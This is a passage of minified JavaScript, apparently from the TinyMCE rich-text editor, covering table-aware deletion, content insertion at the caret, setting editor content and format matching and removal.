e.dom===o})),C=(u=b,i=a=e,s=Ee(t.schema.getTextInlineElements(),kt(i)),m=Bt(a).filter(An),g=Pt(a).filter(An),In(a),l=g,f=u,d=function(e,t,n){var r=e.dom,o=t.dom,i=r.data.length;return Vm(r,o,s),n.container()===o?cs(r,i):n},((c=m).isSome()&&l.isSome()&&f.isSome()?ve.some(d(c.getOrDie(),l.getOrDie(),f.getOrDie())):ve.none()).orThunk(function(){return s&&(m.each(function(e){return jm(e.dom,e.dom.length)}),g.each(function(e){return Hm(e.dom,0)})),u}));t.dom.isEmpty(t.getBody())?(t.setContent(""),t.selection.setCursorLocation()):y.bind(Jm).fold(function(){r&&Ym(t,n,C)},function(e){r&&Ym(t,n,ve.some(e))})}function Zm(e){return yu(e,"td,th")}function eg(e,t){return{start:e,end:t}}function tg(e,t){return yr(Et.fromDom(e),"td,th",t)}function ng(e){return!je(e.start,e.end)}function rg(e,n){return Tl(e.start,n).bind(function(t){return Tl(e.end,n).bind(function(e){return je(t,e)?ve.some(t):ve.none()})})}function og(e){return function(t){return rg(t,e).map(function(e){return{rng:t,table:e,cells:Zm(e)}})}}function ig(e,t,n,r){if(n.collapsed||!e.forall(ng))return ve.none();if(t.isSameTable){var o=e.bind(og(r));return ve.some({start:o,end:o})}var i,a,u=tg(n.startContainer,r),s=tg(n.endContainer,r),c=u.bind((a=r,function(t){return Tl(t,a).bind(function(e){return Z(Zm(e)).map(function(e){return eg(t,e)})})})).bind(og(r)),l=s.bind((i=r,function(t){return Tl(t,i).bind(function(e){return Q(Zm(e)).map(function(e){return eg(e,t)})})})).bind(og(r));return ve.some({start:c,end:l})}function ag(e,t){return z(e,function(e){return je(e,t)})}function ug(n){return dn(ag(n.cells,n.rng.start),ag(n.cells,n.rng.end),function(e,t){return n.cells.slice(e,t+1)})}function sg(e,t){var n=t.startTable,r=t.endTable,o=e.cloneRange();return n.each(function(e){return o.setStartAfter(e.dom)}),r.each(function(e){return o.setEndBefore(e.dom)}),o}function cg(e,t){var n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,b=(n=e,function(e){return je(n,e)}),y=dn(tg((r=t).startContainer,o=b),tg(r.endContainer,o),eg),C=(l=b,f=x((c=t).startContainer),d=x(c.endContainer),m=f.isSome(),g=d.isSome(),p=dn(f,d,je).getOr(!1),{startTable:f,endTable:d,isStartInTable:m,isEndInTable:g,isSameTable:p,isMultiTable:!p&&m&&g});function x(e){return Tl(Et.fromDom(e),l)}return h=t,v=b,y.exists(function(e){return!ng(t=e)&&rg(t,v).exists(function(e){var t=e.dom.rows;return 1===t.length&&1===t[0].cells.length})&&Ol(e.start,h);var t})?y.map(function(e){return fp.singleCellTable(t,e.start)}):C.isMultiTable?ig(y,u=C,s=t,b).bind(function(e){var t=e.start,n=e.end,r=t.bind(ug).getOr([]),o=n.bind(ug).getOr([]);if(0<r.length&&0<o.length){var i=sg(s,u);return ve.some(fp.multiTable(r,o,i))}return ve.none()}):ig(y,i=C,a=t,b).bind(function(e){var t=e.start,n=e.end;return t.or(n)}).bind(function(e){var t=i.isSameTable,n=ug(e).getOr([]);if(t&&e.cells.length===n.length)return ve.some(fp.fullTable(e.table));if(0<n.length){if(t)return ve.some(fp.partialTable(n,ve.none()));var r=sg(a,i);return ve.some(fp.partialTable(n,ve.some(_e(_e({},i),{rng:r}))))}return ve.none()})}function lg(e){return Y(e,function(e){Cn(e,"contenteditable"),hm(e)}),0}function fg(e,t,n,r){var o=n.cloneRange();r?(o.setStart(n.startContainer,n.startOffset),o.setEndAfter(t.dom.lastChild)):(o.setStartBefore(t.dom.firstChild),o.setEnd(n.endContainer,n.endOffset)),mp(e,o,t,!1)}function dg(e){var t=Dl(e),n=Et.fromDom(e.selection.getNode());Jn(n.dom)&&Kr(n)?e.selection.setCursorLocation(n.dom,0):e.selection.collapse(!0),1<t.length&&F(t,function(e){return je(e,n)})&&pn(n,"data-mce-selected","1")}function mg(s,c,e){var l=s.selection.getRng();return lg(e.bind(function(e){var t,n,r,o=e.rng,i=e.isStartInTable,a=(t=i?o.endContainer:o.startContainer,ve.from(s.dom.getParent(t,s.dom.isBlock)).map(Et.fromDom));o.deleteContents(),n=s,r=i,a.filter(Kr).each(function(e){r?In(e):(hm(e),n.selection.setCursorLocation(e.dom,0))});var u=i?c[0]:c[c.length-1];return fg(s,u,l,i),Kr(u)?ve.none():ve.some(i?c.slice(1):c.slice(0,-1))}).getOr(c)),dg(s),!0}function gg(e,t,n,r){var o=e.selection.getRng(),i=t[0],a=n[n.length-1];fg(e,i,o,!0),fg(e,a,o,!1);var u=Kr(i)?t:t.slice(1),s=Kr(a)?n:n.slice(0,-1);return lg(u.concat(s)),r.deleteContents(),dg(e),!0}function pg(e,t){return Qm(e,!1,t),!0}function hg(e,t){return M(ym(t,e),yo)}function vg(e,t){return(e?tp:np)(t)}function bg(f,d,s){var m=Et.fromDom(f.getBody());return gp(m,s).fold(function(){return o=f,i=d,a=m,e=s,u=cs.fromRangeStart(o.selection.getRng()),hg(a,e).bind(function(e){return Kr(e)?pp(o,e):(t=a,n=e,r=u,Hc(i,o.getBody(),r).bind(function(e){return hg(t,Et.fromDom(e.getNode())).map(function(e){return!1===je(e,n)})}));var t,n,r}).getOr(!1)||(n=d,r=cs.fromRangeStart((t=f).selection.getRng()),vg(n,r)||Zl(n,t.getBody(),r).exists(function(e){return vg(n,e)}));var o,i,a,e,u,t,n,r},function(e){return n=d,r=m,o=e,i=cs.fromRangeStart((t=f).selection.getRng()),(Kr(o)?pp(t,o):(u=r,c=o,l=i,Hc(s=n,(a=t).getBody(),l).bind(function(e){return r=s,o=l,i=e,rf((n=c).dom).bind(function(t){return of(n.dom).map(function(e){return r?o.isEqual(t)&&i.isEqual(e):o.isEqual(e)&&i.isEqual(t)})}).getOr(!0)?pp(a,c):(t=c,gp(u,Et.fromDom(e.getNode())).map(function(e){return!1===je(e,t)}));var t,n,r,o,i}).or(ve.some(!0)))).getOr(!1);var a,u,s,c,l,t,n,r,o,i})}function yg(e,t){var n,r,o,i,a,u,s,c,l=Et.fromDom(e.selection.getStart(!0)),f=Dl(e);return e.selection.isCollapsed()&&0===f.length?bg(e,t,l):(r=l,o=f,i=Et.fromDom((n=e).getBody()),a=n.selection.getRng(),0!==o.length?mg(n,o,ve.none()):(u=n,c=a,gp(s=i,r).fold(function(){return t=u,cg(s,c).map(function(e){return e.fold(R(mp,t),R(pg,t),R(mg,t),R(gg,t))});var t},function(e){return pp(u,e)}).getOr(!1)))}function Cg(e){return e.collapsed?e:(a=e,u=cs.fromRangeStart(a),s=cs.fromRangeEnd(a),c=a.commonAncestorContainer,Zl(!1,c,s).map(function(e){return!Qs(u,s,c)&&Qs(u,e,c)?(t=u.container(),n=u.offset(),r=e.container(),o=e.offset(),(i=document.createRange()).setStart(t,n),i.setEnd(r,o),i):a;var t,n,r,o,i}).getOr(a));var a,u,s,c}function xg(e,t){var n,r,o,i,a,u=t.firstChild,s=t.lastChild;return u&&"meta"===u.name&&(u=u.next),r=s=s&&"mce_marker"===s.attr("id")?s.prev:s,o=(n=e).getNonEmptyElements(),r&&(r.isEmpty(o)||(i=r,n.getBlockElements()[i.name]&&i.firstChild&&i.firstChild===i.lastChild&&("br"===(a=i.firstChild).name||a.value===wo)))&&(s=s.prev),u&&u===s&&("ul"===u.name||"ol"===u.name)}function wg(e){return 0<e.length&&(!(r=e[e.length-1]).firstChild||(t=r)&&t.firstChild&&t.firstChild===t.lastChild&&((n=t.firstChild).data===wo||Kn(n)))?e.slice(0,-1):e;var t,n,r}function Sg(e,t){var n=e.getParent(t,e.isBlock);return n&&"LI"===n.nodeName?n:null}function Ng(e,t){var n=cs.after(e),r=Mc(t).prev(n);return r?r.toRange():null}function Eg(e,o,i,t){function n(e){var t=cs.fromRangeStart(i),n=Mc(o.getRoot()),r=1===e?n.prev(t):n.next(t);return!r||Sg(o,r.getNode())!==R}var r,a,u,s,c,l,f,d,m,g,p,h,v,b,y,C,x,w,S,N,E,k,_,A=(r=o,c=e.serialize(t),u=(a=r.createFragment(c)).firstChild,s=a.lastChild,u&&"META"===u.nodeName&&u.parentNode.removeChild(u),s&&"mce_marker"===s.id&&s.parentNode.removeChild(s),a),R=Sg(o,i.startContainer),D=wg(U(A.firstChild.childNodes,function(e){return"LI"===e.nodeName})),T=o.getRoot();return n(1)?(S=T,_=(w=R).parentNode,Nt.each(D,function(e){_.insertBefore(e,w)}),N=S,E=cs.before(w),(k=Mc(N).next(E))?k.toRange():null):n(2)?(l=R,d=T,o.insertAfter((f=D).reverse(),l),Ng(f[0],d)):(g=D,p=T,h=m=R,b=(v=i).cloneRange(),y=v.cloneRange(),b.setStartBefore(h),y.setEndAfter(h),C=[b.cloneContents(),y.cloneContents()],(x=m.parentNode).insertBefore(C[0],m),Nt.each(g,function(e){x.insertBefore(e,m)}),x.insertBefore(C[1],m),x.removeChild(m),Ng(g[g.length-1],p))}function kg(e,t,n){var r,o,i,a,u=e.selection,s=e.dom;/^ | $/.test(t)&&(r=s,o=u.getRng(),i=t,i=Bm(a=Et.fromDom(r.getRoot()),cs.fromRangeStart(o))?i.replace(/^ /,"&nbsp;"):i.replace(/^&nbsp;/," "),t=i=Pm(a,cs.fromRangeEnd(o))?i.replace(/(&nbsp;| )(<br( \/)>)?$/,"&nbsp;"):i.replace(/&nbsp;(<br( \/)?>)?$/," "));var c=e.parser,l=n.merge,f=rm({validate:e.getParam("validate")},e.schema),d='<span id="mce_marker" data-mce-type="bookmark">&#xFEFF;</span>',m=e.fire("BeforeSetContent",{content:t,format:"html",selection:!0,paste:n.paste});if(m.isDefaultPrevented())e.fire("SetContent",{content:m.content,format:"html",selection:!0,paste:n.paste});else{t=m.content,-1===(t=n.preserve_zwsp?t:Eo(t)).indexOf("{$caret}")&&(t+="{$caret}"),t=t.replace(/\{\$caret\}/,d);var g,p,h=(g=u.getRng()).startContainer||(g.parentElement?g.parentElement():null),v=e.getBody();h===v&&u.isCollapsed()&&s.isBlock(v.firstChild)&&((p=v.firstChild)&&!e.schema.getShortEndedElements()[p.nodeName])&&s.isEmpty(v.firstChild)&&((g=s.createRng()).setStart(v.firstChild,0),g.setEnd(v.firstChild,0),u.setRng(g)),u.isCollapsed()||function(e){var t=e.dom,n=Cg(e.selection.getRng());e.selection.setRng(n);var r,o=t.getParent(n.startContainer,hp),i=n;null!==(r=o)&&r===t.getParent(i.endContainer,hp)&&Ol(Et.fromDom(r),i)?mp(e,n,Et.fromDom(o)):e.getDoc().execCommand("Delete",!1,null)}(e);var b,y,C,x,w,S,N,E,k,_,A,R,D,T,O={context:(I=u.getNode()).nodeName.toLowerCase(),data:n.data,insert:!0},B=c.parse(t,O);if(!0===n.paste&&xg(e.schema,B)&&Sg(s,I))return g=Eg(f,s,u.getRng(),B),u.setRng(g),void e.fire("SetContent",m);if(function(){for(var e=B;e=e.walk();)1===e.type&&e.attr("data-mce-fragment","1")}(),"mce_marker"===(L=B.lastChild).attr("id"))for(var P=L,L=L.prev;L;L=L.walk(!0))if(3===L.type||!s.isBlock(L.name)){e.schema.isValidChild(L.parent.name,"span")&&L.parent.insert(P,L,"br"===L.name);break}if(e._selectionOverrides.showBlockCaretContainer(I),O.invalid){e.selection.setContent(d);var I=u.getNode(),M=e.getBody();for(9===I.nodeType?I=L=M:L=I;L!==M;)L=(I=L).parentNode;t=I===M?M.innerHTML:s.getOuterHTML(I),t=f.serialize(c.parse(t.replace(/<span (id="mce_marker"|id=mce_marker).+?<\/span>/i,function(){return f.serialize(B)}))),I===M?s.setHTML(M,t):s.setOuterHTML(I,t)}else b=e,y=t=f.serialize(B),"all"===(C=I).getAttribute("data-mce-bogus")?C.parentNode.insertBefore(b.dom.createFragment(y),C):(x=C.firstChild,w=C.lastChild,!x||x===w&&"BR"===x.nodeName?b.dom.setHTML(C,y):b.selection.setContent(y));N=l,_=(S=e).schema.getTextInlineElements(),A=S.dom,N&&(E=S.getBody(),k=tm(A),Nt.each(A.select("*[data-mce-fragment]"),function(e){if(V(_[e.nodeName.toLowerCase()])&&j(lm(A,e),function(e){return!cm.has(e)}))for(var t=e.parentNode;V(t)&&t!==E&&!function(r,o,i){function a(e){var t=r.getStyle(o,e),n=r.getStyle(i,e);return Be(t)&&Be(n)&&t!==n}var e=lm(r,o),u=lm(r,i);return F(e,function(t){function e(e){return F(e,function(e){return e===t})}if(e(u)||!e(Xg))return a(t);var n=U(u,function(t){return F(Xg,function(e){return Ge(t,e)})});return F(n,a)})}(A,e,t);t=t.parentNode)if(k.compare(t,e)){A.remove(e,!0);break}})),function(n,e){var t,r=n.dom,o=n.selection;if(e){o.scrollIntoView(e);var i=bf(n.getBody(),e);if("false"===r.getContentEditable(i))return r.remove(e),o.select(i);var a,u=r.createRng(),s=e.previousSibling;Vn(s)?(u.setStart(s,s.nodeValue.length),xt.ie||(a=e.nextSibling,Vn(a)&&(s.appendData(a.data),a.parentNode.removeChild(a)))):(u.setStartBefore(e),u.setEndBefore(e));var c=r.getParent(e,r.isBlock);r.remove(e),c&&r.isEmpty(c)&&(n.$(c).empty(),u.setStart(c,0),u.setEnd(c,0),hp(c)||c.getAttribute("data-mce-fragment")||!(t=function(e){var t=cs.fromRangeStart(e);if(t=Mc(n.getBody()).next(t))return t.toRange()}(u))?r.add(c,r.create("br",{"data-mce-bogus":"1"})):(u=t,r.remove(c))),o.setRng(u)}}(e,s.get("mce_marker")),R=e.getBody(),Nt.each(R.getElementsByTagName("*"),function(e){e.removeAttribute("data-mce-fragment")}),D=s,T=u.getStart(),ve.from(D.getParent(T,"td,th")).map(Et.fromDom).each(vm),e.fire("SetContent",m),e.addVisual()}}function _g(e){return e instanceof jd}function Ag(e,t,n){var r;e.dom.setHTML(e.getBody(),t),!0!==n&&Cd(r=e)&&rf(r.getBody()).each(function(e){var t=e.getNode(),n=cn(t)?rf(t).getOr(e):e;r.selection.setRng(n.toRange())})}function Rg(u,s,e){var t,n=(t=s,_e(_e({format:"html"},e),{set:!0,content:_g(t)?"":t})),c=e.no_events?n:u.fire("BeforeSetContent",n);return _g(s)||(s=c.content),ve.from(u.getBody()).fold(J(s),function(e){return _g(s)?function(e,t,n,r){var o,i,u,a;o=e.parser.getNodeFilters(),i=e.parser.getAttributeFilters(),u=n,a=function(e,n){var t,r,o={},i={},a=[];for(t in u.firstChild&&vp(u.firstChild,function(t){Y(e,function(e){e.name===t.name&&(o[e.name]?o[e.name].nodes.push(t):o[e.name]={filter:e,nodes:[t]})}),Y(n,function(e){"string"==typeof t.attr(e.name)&&(i[e.name]?i[e.name].nodes.push(t):i[e.name]={filter:e,nodes:[t]})})}),o)Ee(o,t)&&a.push(o[t]);for(r in i)Ee(i,r)&&a.push(i[r]);return a}(o,i),Y(a,function(t){Y(t.filter.callbacks,function(e){e(t.nodes,t.filter.name,{})})});var s=rm({validate:e.validate},e.schema).serialize(n);return r.content=Eo(Co(Et.fromDom(t))?s:Nt.trim(s)),Ag(e,r.content,r.no_selection),r.no_events||e.fire("SetContent",r),n}(u,e,s,c):(t=u,n=e,o=c,0===(r=Eo(r=s)).length||/^\s+$/.test(r)?(i='<br data-mce-bogus="1">',"TABLE"===n.nodeName?r="<tr><td>"+i+"</td></tr>":/^(UL|OL)$/.test(n.nodeName)&&(r="<li>"+i+"</li>"),r=(a=ks(t))&&t.schema.isValidChild(n.nodeName.toLowerCase(),a.toLowerCase())?(r=i,t.dom.createHTML(a,_s(t),r)):r||'<br data-mce-bogus="1">',Ag(t,r,o.no_selection),t.fire("SetContent",o)):("raw"!==o.format&&(r=rm({validate:t.validate},t.schema).serialize(t.parser.parse(r,{isRootContent:!0,insert:!0}))),o.content=Co(Et.fromDom(n))?r:Nt.trim(r),Ag(t,o.content,o.no_selection),o.no_events||t.fire("SetContent",o)),o.content);var t,n,r,o,i,a})}function Dg(e){return y(e)?e:D}function Tg(i,e,t){var n=e(i),a=Dg(t);return n.orThunk(function(){return a(i)?ve.none():function(e){for(var t=i.dom,n=Dg(a);t.parentNode;){var t=t.parentNode,r=Et.fromDom(t),o=e(r);if(o.isSome())return o;if(n(r))break}return ve.none()}(e)})}function Og(e,t,n){var r=e.formatter.get(n);if(r)for(var o=0;o<r.length;o++){var i=r[o];if(gl(i)&&!1===i.inherit&&e.dom.is(t,i.selector))return 1}}function Bg(t,e,n,r,o){var i=t.dom.getRoot();return e!==i&&(e=t.dom.getParent(e,function(e){return!!Og(t,e,n)||e.parentNode===i||!!yp(t,e,n,r,!0)}),!!yp(t,e,n,r,o))}function Pg(e,t,n){return!!bp(t,n.inline)||!!bp(t,n.block)||(n.selector?1===t.nodeType&&e.is(t,n.selector):void 0)}function Lg(e,t,n,r,o,i){var a=n[r];if(y(n.onmatch))return n.onmatch(t,n,r);if(a)if(b(a.length)){for(var u in a)if(Ee(a,u)){var s="attributes"===r?e.getAttrib(t,u):cl(e,t,u),c=al(a[u],i),l=K(s)||Pe(s);if(!l||!K(c)){if(o&&l&&!n.exact)return;if((!o||n.exact)&&!bp(s,sl(e,c,u)))return}}}else for(var f=0;f<a.length;f++)if("attributes"===r?e.getAttrib(t,a[f]):cl(e,t,a[f]))return 1;return 1}function Ig(e,t,n,r,o){if(r)return Bg(e,r,t,n,o);if(r=e.selection.getNode(),Bg(e,r,t,n,o))return!0;var i=e.selection.getStart();return!(i===r||!Bg(e,i,t,n,o))}function Mg(e){return 0<function(e){for(var t=[];e;){if(3===e.nodeType&&e.nodeValue!==Cp||1<e.childNodes.length)return[];1===e.nodeType&&t.push(e),e=e.firstChild}return t}(e).length}function Fg(e){if(e){var t=new Dr(e,e);for(e=t.current();e;e=t.next())if(Vn(e))return e}return null}function Ug(e){var t=Et.fromTag("span");return hn(t,{id:xp,"data-mce-bogus":"1","data-mce-type":"format-caret"}),e&&Ln(t,Et.fromText(Cp)),t}function zg(e,t,n){void 0===n&&(n=!0);var r,o,i,a,u,s,c,l,f=e.dom,d=e.selection;Mg(t)?Qm(e,!1,Et.fromDom(t),n):(r=d.getRng(),o=f.getParent(t,f.isBlock),i=r.startContainer,a=r.startOffset,u=r.endContainer,s=r.endOffset,(l=Fg(t))&&l.nodeValue.charAt(0)===Cp&&l.deleteData(0,1),c=l,f.remove(t,!0),i===c&&0<a&&r.setStart(c,a-1),u===c&&0<s&&r.setEnd(c,s-1),o&&f.isEmpty(o)&&hm(Et.fromDom(o)),d.setRng(r))}function Hg(e,t,n){void 0===n&&(n=!0);var r=e.dom,o=e.selection;if(t)zg(e,t,n);else if(!(t=qc(e.getBody(),o.getStart())))for(;t=r.get(xp);)zg(e,t,!1)}function jg(e,t){return e.appendChild(t),t}function Vg(e,t){var n=P(e,function(e,t){return jg(e,t.cloneNode(!1))},t);return jg(n,n.ownerDocument.createTextNode(Cp))}function qg(o,e,t,i,n,r){var a,u,s=o.formatter,c=o.dom,l=U(we(s.get()),function(e){return e!==i&&!Te(e,"removeformat")});if(0<U((a=o,u=t,L(l,function(e,t){var n=dl(a,t);return a.formatter.matchNode(u,t,{},n)?e.concat([t]):e},[])),function(e){return n=i,r=["inline","block","selector","attributes","styles","classes"],!F((t=o).formatter.get(e),function(e){var i=a(e);return F(t.formatter.get(n),function(e){var t,n=a(e),r=i,o=n;return d(t=void 0===t?p:t).eq(r,o)})});function a(e){return ae(e,function(e,t){return F(r,function(e){return e===t})})}var t,n,r}).length){var f=t.cloneNode(!1);return c.add(e,f),s.remove(i,n,f,r),c.remove(f),ve.some(f)}return ve.none()}function $g(e,t,n,r){var o,i,a,u,s,c,l,f,d,m,g,p,h,v,b,y=e.dom,C=e.selection,x=[],w=C.getRng(),S=w.startContainer,N=w.startOffset,E=S;for(3===S.nodeType&&(N!==S.nodeValue.length&&(o=!0),E=E.parentNode);E;){if(yp(e,E,t,n,r)){i=E;break}E.nextSibling&&(o=!0),x.push(E),E=E.parentNode}i&&(o?(a=C.getBookmark(),w.collapse(!0),u=Pf(kl(e,w,e.formatter.get(t),!0)),e.formatter.remove(t,n,u,r),C.moveToBookmark(a)):(s=qc(e.getBody(),i),d=c=Ug(!1).dom,(p=(g=e.dom).getParent(m=null!==s?s:i,R(ol,e)))&&g.isEmpty(p)?m.parentNode.replaceChild(d,m):(h=Et.fromDom(m),v=yu(h,"br"),b=U(function(){for(var e=[],t=h.dom;t;)e.push(Et.fromDom(t)),t=t.lastChild;return e}().slice(-1),Pr),v.length===b.length&&Y(b,In),g.isEmpty(m)?m.parentNode.replaceChild(d,m):g.insertAfter(d,m)),l=qg(e,c,i,t,n,r),f=Vg(x.concat(l.toArray()),c),zg(e,s,!1),C.setCursorLocation(f,1),y.isEmpty(i)&&y.remove(i)))}function Wg(e,t){var n=e.schema.getTextInlineElements();return Ee(n,kt(t))&&!Vc(t.dom)&&!sn(t.dom)}Y(["margin","margin-left","margin-right","margin-top","margin-bottom","padding","padding-left","padding-right","padding-top","padding-bottom","border","border-width","border-style","border-color","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","float","position","left","right","top","bottom","z-index","display","transform","width","max-width","min-width","height","max-height","min-height","overflow","overflow-x","overflow-y","text-overflow","vertical-align","transition","transition-delay","transition-duration","transition-property","transition-timing-function"],function(e){cm.add(e)});var Kg,Xg=["font","text-decoration","text-emphasis"],Yg=R(fm,!0,Zc),Gg=R(fm,!1,Zc),Jg=mm(!0,gm),Qg=mm(!1,gm),Zg=mm(!0,Qn),ep=mm(!1,Qn),tp=mm(!0,cn),np=mm(!1,cn),rp=mm(!0,pm),op=mm(!1,pm),ip=R(Sm,!1),ap=R(Sm,!0),up=R(wm,!1),sp=R(wm,!0),cp=R(Em,!1),lp=R(Em,!0),fp=ir([{singleCellTable:["rng","cell"]},{fullTable:["table"]},{partialTable:["cells","outsideDetails"]},{multiTable:["startTableCells","endTableCells","betweenRng"]}]),dp=function(e){var t;return(8===_t(t=e)||"#comment"===kt(t)?Bt:Ut)(e).bind(dp).orThunk(function(){return ve.some(e)})},mp=function(e,t,n,r){void 0===r&&(r=!0),t.deleteContents();var o,i=dp(n).getOr(n),a=Et.fromDom(e.dom.getParent(i.dom,e.dom.isBlock));return Kr(a)&&(hm(a),r&&e.selection.setCursorLocation(a.dom,0)),je(n,a)||Y((fn(Ot(a),n)?[]:Ot(o=a).map(Tn).map(function(e){return U(e,function(e){return!je(o,e)})}).getOr([])).concat(Tn(n)),function(e){je(e,a)||Ve(e,a)||!Kr(e)||In(e)}),!0},gp=function(e,t){return M(ym(t,e),function(e){return _n(e)&&"caption"===kt(e)})},pp=function(e,t){return hm(t),e.selection.setCursorLocation(t.dom,0),ve.some(!0)},hp=Jn,vp=function(e,t){t(e),e.firstChild&&vp(e.firstChild,t),e.next&&vp(e.next,t)},bp=ul,yp=function(e,t,n,r,o){var i=e.formatter.get(n),a=e.dom;if(i&&t)for(var u=0;u<i.length;u++){var s=i[u];if(Pg(e.dom,t,s)&&Lg(a,t,s,"attributes",o,r)&&Lg(a,t,s,"styles",o,r)){var c=s.classes;if(c)for(var l=0;l<c.length;l++)if(!e.dom.hasClass(t,al(c[l],r)))return;return s}}},Cp=So,xp="_mce_caret",wp={},Sp=fe,Np=ce;function Ep(e){return Hn(e)&&!Qc(e)&&!Vc(e)&&!sn(e)}function kp(e,t){for(var n=e;n;n=n[t]){if(Vn(n)&&Be(n.data))return e;if(Hn(n)&&!Qc(n))return n}return e}function _p(e,t,n){var r=tm(e);if(t&&n&&(t=kp(t,"previousSibling"),n=kp(n,"nextSibling"),r.compare(t,n))){for(var o=t.nextSibling;o&&o!==n;){var i=o,o=o.nextSibling;t.appendChild(i)}return e.remove(n),Nt.each(Nt.grep(n.childNodes),function(e){t.appendChild(e)}),t}return n}function Ap(e,t,n,r){var o;r&&!1!==t.merge_siblings&&(o=_p(e,rl(r),r),_p(e,o,rl(o,!0)))}function Rp(t,n){return function(e){return!(!e||!cl(t,e,n))}}function Dp(r,o,i){return function(e){var t,n;r.setStyle(e,o,i),""===e.getAttribute("style")&&e.removeAttribute("style"),t=r,"SPAN"===(n=e).nodeName&&0===t.getAttribs(n).length&&t.remove(n,!0)}}function Tp(e,t,n){return e.isChildOf(t,n)&&t!==n&&!e.isBlock(n)}function Op(e,t,n){var r,o=t[n?"startContainer":"endContainer"],i=t[n?"startOffset":"endOffset"];return Hn(o)&&(r=o.childNodes.length-1,!n&&i&&i--,o=o.childNodes[r<i?r:i]),Vn(o)&&n&&i>=o.nodeValue.length&&(o=new Dr(o,e.getBody()).next()||o),Vn(o)&&!n&&0===i&&new Dr(o,e.getBody()).prev()||o}function Bp(e,t){var n=t?"firstChild":"lastChild";if(/^(TR|TH|TD)$/.test(e.nodeName)&&e[n]){var r=e[n];return"TR"===e.nodeName&&r[n]||r}return e}function Pp(e,t,n,r){var o=e.create(n,r);return t.parentNode.insertBefore(o,t),o.appendChild(t),o}function Lp(e,t,n,r,o){var i=Et.fromDom(t),a=Et.fromDom(e.create(r,o));return Kt(a,(n?It:Lt)(i)),n?(qt(i,a),Wt(a,i)):($t(i,a),Ln(a,i)),a.dom}function Ip(e,t,n,r){var o=rl(t,n,r);return K(o)||"BR"===o.nodeName||e.isBlock(o)}function Mp(e,r,o,t,i){var n,a,u=e.dom,s=u,c=t;if(!(pl(a=r)&&Rh(c,a.inline)||ml(a)&&Rh(c,a.block)||gl(a)&&(Hn(c)&&s.is(c,a.selector))||r.links&&"A"===t.nodeName))return kh.keep();var l,f,d,m,g,p,h,v,b=t;if(pl(r)&&"all"===r.remove&&S(r.preserve_attributes)){var y=U(u.getAttribs(b),function(e){return T(r.preserve_attributes,e.name.toLowerCase())});if(u.removeAllAttribs(b),Y(y,function(e){return u.setAttrib(b,e.name,e.value)}),0<y.length)return kh.rename("span")}if("all"!==r.remove){Ah(r.styles,function(e,t){e=sl(u,al(e,o),t+""),N(t)&&(t=e,i=null),!r.remove_similar&&i&&!Rh(cl(u,i,t),e)||u.setStyle(b,t,""),n=!0}),n&&""===u.getAttrib(b,"style")&&(b.removeAttribute("style"),b.removeAttribute("data-mce-style")),Ah(r.attributes,function(e,t){var n;if(e=al(e,o),N(t)&&(t=e,i=null),r.remove_similar||!i||Rh(u.getAttrib(i,t),e))if("class"===t&&(e=u.getAttrib(b,t))&&(n="",Y(e.split(/\s+/),function(e){/mce\-\w+/.test(e)&&(n+=(n?" ":"")+e)}),n))u.setAttrib(b,t,n);else{if(_h.test(t)&&b.removeAttribute("data-mce-"+t),"style"===t&&on(["li"])(b)&&"none"===u.getStyle(b,"list-style-type"))return b.removeAttribute(t),void u.setStyle(b,"list-style-type","none");"class"===t&&b.removeAttribute("className"),b.removeAttribute(t)}}),Ah(r.classes,function(e){e=al(e,o),i&&!u.hasClass(i,e)||u.removeClass(b,e)});for(var C=u.getAttribs(b),x=0;x<C.length;x++){var w=C[x].nodeName;if(0!==w.indexOf("_")&&0!==w.indexOf("data-"))return kh.keep()}}return"none"!==r.remove?(l=e,d=r,p=(f=b).parentNode,h=l.dom,v=ks(l),ml(d)&&(v?p===h.getRoot()&&(d.list_block&&Rh(f,d.list_block)||Y(xe(f.childNodes),function(e){il(l,v,e.nodeName.toLowerCase())?m?m.appendChild(e):(m=Pp(h,e,v),h.setAttribs(m,l.settings.forced_root_block_attrs)):m=null})):h.isBlock(f)&&!h.isBlock(p)&&(Ip(h,f,!1)||Ip(h,f.firstChild,!0,!0)||f.insertBefore(h.create("br"),f.firstChild),Ip(h,f,!0)||Ip(h,f.lastChild,!1,!0)||f.appendChild(h.create("br")))),gl(g=d)&&pl(g)&&fn(ue(g,"mixed"),!0)&&!Rh(d.inline,f)||h.remove(f,!0),kh.removed()):kh.keep()}function Fp(t,e,n,r,o){return Mp(t,e,n,r,o).fold(D,function(e){return t.dom.rename(r,e),!0},w)}function Up(u,s,c,e,l){function a(e){var n,r,o,i,a,t=(r=s,o=c,i=l,Y(fl((n=u).dom,e.parentNode).reverse(),function(e){var t;a||"_start"===e.id||"_end"===e.id||(t=yp(n,e,r,o,i))&&!1!==t.split&&(a=e)}),a);return function(e,t,n,r,o,i,a,u){var s,c,l=e.dom;if(n){for(var f=n.parentNode,d=r.parentNode;d&&d!==f;d=d.parentNode){for(var m=l.clone(d,!1),g=0;g<t.length&&null!==(m=function(t,e,n){return Mp(t,e,u,n,n).fold(J(n),function(e){return t.dom.createFragment().appendChild(n),t.dom.rename(n,e)},J(null))}(e,t[g],m));g++);m&&(s&&m.appendChild(s),c=c||m,s=m)}!i||a.mixed&&l.isBlock(n)||(r=l.split(n,r)),s&&(o.parentNode.insertBefore(s,o),c.appendChild(o),pl(a)&&Ap(l,a,0,s))}return r}(u,m,t,e,e,!0,g,c)}function f(t){return F(m,function(e){return Fp(u,e,c,t,t)})}function d(e){var t,n=h.get(e?"_start":"_end"),r=n[e?"firstChild":"lastChild"];return Qc(t=r)&&Hn(t)&&("_start"===t.id||"_end"===t.id)&&(r=r[e?"firstChild":"lastChild"]),Vn(r)&&0===r.data.length&&(r=e?n.previousSibling||n.nextSibling:n.nextSibling||n.previousSibling),h.remove(n,!0),r}function t(e){var t=kl(u,e,m,e.collapsed);if(g.split){if(t=Pf(t),(r=Op(u,t,!0))!==(o=Op(u,t))){if(r=Bp(r,!0),o=Bp(o,!1),Tp(h,r,o)){var n=ve.from(r.firstChild).getOr(r);return a(Lp(h,n,!0,"span",{id:"_start","data-mce-type":"bookmark"})),void d(!0)}if(Tp(h,o,r))return n=ve.from(o.lastChild).getOr(o),a(Lp(h,n,!1,"span",{id:"_end","data-mce-type":"bookmark"})),void d(!1);var 